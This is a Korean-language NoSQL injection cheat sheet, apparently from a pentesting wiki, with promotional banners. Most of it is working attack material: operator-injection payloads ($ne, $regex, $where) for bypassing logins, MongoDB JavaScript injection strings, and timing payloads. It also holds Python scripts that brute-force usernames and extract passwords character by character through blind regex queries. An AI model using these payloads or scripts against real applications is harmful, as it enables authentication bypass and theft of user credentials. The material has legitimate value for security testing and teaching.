Trickest 가장 진보된 커뮤니티 도구로 구동되는 워크플로우 를 쉽게 구축하고 자동화 하세요.
오늘 바로 접근하세요:
Exploit
PHP에서는 _parameter=foo_에서 _parameter[arrName]=foo_로 전송된 매개변수를 변경하여 배열을 보낼 수 있습니다.
익스플로잇은 연산자 를 추가하는 데 기반합니다:
Copy username[$ne] = 1 $password [ $ne]=1 #<Not Equals>
username[$regex] = ^adm $password [ $ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex] = . { 25} & pass[$ne] = 1 #Use the <regex> to find the length of a value
username[$eq] = admin & password[$ne] = 1 #<Equals>
username[$ne] = admin & pass[$lt] = s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne] = admin & pass[$gt] = s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where : "this.credits == this.debits" }# < I F > , can be used to execute code 기본 인증 우회
같지 않음 ($ne) 또는 큼 ($gt) 사용
Copy #in URL
username[$ne] = toto & password[$ne] = toto
username[$regex] = .* & password[$regex] = .*
username[$exists] = true & password[$exists] = true
#in JSON
{ "username" : { "$ne" : null}, "password" : { "$ne" : null} }
{ "username" : { "$ne" : "foo" }, "password" : { "$ne" : "bar" } }
{ "username" : { "$gt" : undefined}, "password" : { "$gt" : undefined} } SQL - Mongo
Copy query = { $where : `this.username == ' ${ username } '` } 공격자는 admin' || 'a'=='a와 같은 문자열을 입력하여 이점을 취할 수 있으며, 이는 조건을 자명한 진리('a'=='a')로 만족시켜 모든 문서를 반환하는 쿼리를 생성합니다. 이는 ' or 1=1-- -와 같은 입력을 사용하여 SQL 쿼리를 조작하는 SQL 인젝션 공격과 유사합니다. MongoDB에서는 ' || 1==1//, ' || 1==1%00, 또는 admin' || 'a'=='a와 같은 입력을 사용하여 유사한 인젝션을 수행할 수 있습니다.
Copy Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a 길이 정보 추출
Copy username[$ne] = toto & password[$regex] = . { 1}
username[$ne] = toto & password[$regex] = . { 3}
# True if the length equals 1,3... 데이터 정보 추출
Copy in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} SQL - Mongo
Copy /?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found PHP 임의 함수 실행
기본적으로 사용되는 MongoLite 라이브러리의 $func 연산자를 사용하여 이 보고서 와 같이 임의의 함수를 실행할 수 있을 수 있습니다.
Copy "user" :{ "$func" : "var_dump" } 다른 컬렉션에서 정보 가져오기
$lookup users**라는 다른 컬렉션 에서 읽고, 와일드카드와 일치하는 비밀번호를 가진 모든 항목의 결과 를 가져옵니다.
참고: $lookup 및 기타 집계 함수는 find() 또는 findOne() 함수 대신 aggregate() 함수를 사용하여 검색을 수행한 경우에만 사용할 수 있습니다.
Copy [
{
"$lookup" : {
"from" : "users" ,
"as" : "resultado" , "pipeline" : [
{
"$match" : {
"password" : {
"$regex" : "^.*"
}
}
}
]
}
}
]
Trickest 가장 진보된 커뮤니티 도구로 구동되는 워크플로우 를 쉽게 구축하고 자동화 하세요.
오늘 바로 접근하세요:
MongoDB Payloads
여기에서 목록 확인
Copy true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} 블라인드 NoSQL 스크립트
Copy import requests , string
alphabet = string . ascii_lowercase + string . ascii_uppercase + string . digits + "_@ {} -/()!\"$%=^[]:;"
flag = ""
for i in range ( 21 ):
print ( "[i] Looking for char number " + str (i + 1 ))
for char in alphabet :
r = requests . get ( "http://chall.com?param=^" + flag + char)
if ( "<TRUE>" in r . text) :
flag += char
print ( "[+] Flag: " + flag)
break
Copy import requests
import urllib3
import string
import urllib
urllib3 . disable_warnings ()
username = "admin"
password = ""
while True :
for c in string . printable :
if c not in [ '*' , '+' , '.' , '?' , '|' ] :
payload = '{"username": {"$eq": " %s "}, "password": {"$regex": "^ %s " }} ' % (username , password + c)
r = requests . post (u, data = { 'ids' : payload}, verify = False )
if 'OK' in r . text :
print ( "Found one more char : %s " % (password + c))
password += c POST 로그인에서 사용자 이름과 비밀번호에 대한 무차별 대입 로그인
이것은 수정할 수 있는 간단한 스크립트이지만 이전 도구들도 이 작업을 수행할 수 있습니다.
Copy import requests
import string
url = "http://example.com"
headers = { "Host" : "exmaple.com" }
cookies = { "PHPSESSID" : "s3gcsgtqre05bah2vt6tibq8lsdfk" }
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password ( username ):
print ( "Extracting password of " + username)
params = { "username" : username , "password[$regex]" : "" , "login" : "login" }
password = "^"
while True :
for c in possible_chars :
params [ "password[$regex]" ] = password + c + ".*"
pr = requests . post (url, data = params, headers = headers, cookies = cookies, verify = False , allow_redirects = False )
if int (pr.status_code) == 302 :
password += c
break
if c == possible_chars [ - 1 ]:
print ( "Found password " + password[ 1 :]. replace ( "\\" , "" ) + " for username " + username)
return password [ 1 :]. replace ( "\\" , "" )
def get_usernames ( prefix ):
usernames = []
params = { "username[$regex]" : "" , "password[$regex]" : ".*" }
for c in possible_chars :
username = "^" + prefix + c
params [ "username[$regex]" ] = username + ".*"
pr = requests . post (url, data = params, headers = headers, cookies = cookies, verify = False , allow_redirects = False )
if int (pr.status_code) == 302 :
print (username)
for user in get_usernames (prefix + c):
usernames . append (user)
return usernames
for u in get_usernames ( "" ):
get_password (u) Tools
References
Trickest 가장 진보된 커뮤니티 도구로 구동되는 워크플로우 를 쉽게 구축하고 자동화 하세요.
오늘 바로 접근하세요:
